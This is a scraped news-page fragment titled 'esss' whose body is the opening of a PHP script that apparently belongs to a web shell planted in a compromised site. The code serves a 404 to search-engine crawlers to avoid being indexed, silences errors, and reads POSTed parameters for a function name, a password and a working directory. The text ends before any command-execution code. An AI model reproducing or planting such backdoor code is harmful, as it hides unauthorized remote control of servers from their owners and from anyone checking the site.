Recent News

esss

2017-01-12


<?

if(!empty($_SERVER['HTTP_USER_AGENT'])) {

    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");

    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {

        header('HTTP/1.0 404 Not Found');

        exit;

    }

}

error_reporting(0); 

$function_tkl = $_POST['function_tkl'];

$pwd = $_POST['pwd'];

$dir = $_POST['dir'];

if ($dir == ''){

$dir = getcwd();

}